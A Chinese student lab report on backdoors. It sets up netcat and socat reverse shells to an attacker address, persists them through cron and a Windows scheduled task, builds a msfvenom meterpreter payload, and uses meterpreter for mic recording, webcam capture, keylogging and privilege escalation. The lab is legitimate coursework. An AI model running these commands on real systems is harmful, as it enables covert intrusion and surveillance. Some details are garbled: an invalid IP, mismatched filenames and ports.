2018-2019-2 网络对抗技术 20165115 Exp2 后门原理与实践
后门的基本概念及基础问题问答
一、后门的概念
-
留在计算机系统当中的、共某些特殊使用者通过特殊方式控制计算机系统的途径
-
可以绕过系统已有的安全设置,还能够挫败各种增强的安全措施
二、基础问题回答
- Q:列举一个你能想到的后门进入系统的可能方式
1.通过非官方途径下载安装的应用程序中绑定的可执行文件留下后门;
2.访问的网页被植入木马程序,访问之后自动安装木马程序。
- Q:列举你知道的后门的启动(win及linux)方式
1.Windows:可以通过修改注册表项、有道游湖执行带有后门的可执行文件或设置为开机自启项等;
2.Linux:可以对正常的软件注入shellcode。
- Q:Meterpreter有哪些给你印象深刻的功能
1.可以通过植入后门在被侵入用户不知情的情况下获取被控及的shell、执行指令;还可以调用并获取被控制主机的话筒、摄像头、键盘等硬件。
- Q:如何检测自己的系统当中是否被安装后门
1.检查系统中是否有异常开放的端口;
2.通过杀毒软件等对电脑进行监控并定期对系统进行检测;
3.检查开机自启项、注册表当中是否有可以内容。
常用后门工具
netcat
netcat的一些操作
Windows下获得Linux的shell
-
Windows下查看本机的IP,使用
nc.exe -l -p 5115
指令监听5115端口 -
在kali中反弹连接Windows,使用指令
nc 192.168.1.299 5115 -e /bin/sh
,其中,-e
选项用于获取shell程序
- Windows成功获得kali的shell
Linux获得Windows的shell
-
查看kali的IP地址,在kali中监听5115端口
nc -l -p 5115
-
在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.1.133 5115
-
kali成功获得Windows的cmd
使用nc传输数据
-
使用指令
nc.exe -l -p 5115 > file1.out
在Windows下监听5115端口,并将数据保存到文件 file1.out中。 -
使用指令
nc 192.168.1.299 5115 < file1.in
在kali当中连接到Windows的5115端口 -
成功建立连接,在kali中修改文件,Windows当中可以直接接收到。
实验内容##
任务一:使用netcat获取主机操作shell并通过cron启动
- 在Windows系统下监听5115端口;
- 在kali下通过
crontab -e
指令添加一条定时任务,编辑器我选择的是3vim编辑器; - 在打开的文件的最后一行添加指令
25 * * * * /bin/netcat 192.168.1.73 5115 -e /bin/sh
- 当时间到达25分钟时,Windows就自动获得了kali的shell
任务二:使用socat获取主机操作shell,通过任务计划启动
- 在Windows的控制面板当中找到“任务计划程序”,创建新任务。其中,触发器选择“任意用户锁定工作站时”,在操作当中的程序或脚本中选择本机当中socat.exe文件的路径,在添加参数一栏中填写
tcp-listen:5315exec:cmd.exe,pty,stderr
命令,该命令的作用是将cmd.exe绑定到5115端口上,同时将cmd的stderr重定向到stdout上;
- 创建完成之后,锁定计算机。再次打开就能发现该任务已经开始运行;
- 完成之后在kali的环境下输入
socat - tcp:192.168.1.191:5115
指令,就可以获得Windows的cmd shell。
任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 首先在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=5115 -f exe > 20165115_backdoor.exe
其中的IP地址为kali的IP地址。可以看到在kali当中已经生成了我们需要的后门程序20165115_backdoor.exe;
- 在Windows的cmd中输入指令
nc.exe -l -p 5115 > 20165115_backdoor.exe
,将被控主机转入接受文件模式; - 回到kali中执行指令
nc 192.168.1.191 5115 < 20165318_backdoor.exe
,即可成功将文件传输至被控主机当中
- 在kali中执行
msfconsole
指令进入msf控制台进行后续的操作; - 输入
use exploit/multi/handler
调用监听模块; - 通过
set payload windows/meterpreter/reverse_tcp
设置使用和生成后门程序时使用相同的payload set LHOST 192.168.1.133
与set LPORT 5115
,设置成生成后门程序时的IP地址与端口号
- 设置完成之后输入exploit开始监听,回到Windows下执行刚才的后门程序,kali中就获得了Windows的shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令获取音频
- 使用webcam_snap可以使用摄像头进行摄像(我的摄像头有问题所以拍出来的只有大概的轮廓)
- 使用keyscan_start指令开始记录击键,使用keyscan_dump读取击键记录
- 提权操作的指令分别有
get uid
与get system
,在下图的最后两行中可以看到。
实验中遇到的问题及解决方法
- 在设置任务计划后从kali中一直无法唤起Windows响应,截图如下:
导致这个问题出现的原因是Windows的一个小bug,即虽然任务计划当中我们设定的计划在运行,但实际上还需要手动启动一次才真正的开始运行。
实验总结与体会
- 通过后门入侵系统有着极大的危害,或者从另一种角度来说,有着极大的作用与广阔的使用范围。所以在目前掌握的基础之上更加深入的了解后门的原理,可以更好的提高自己的危险防范知识与能力。后门的原理是非常重要与具有实际意义的知识。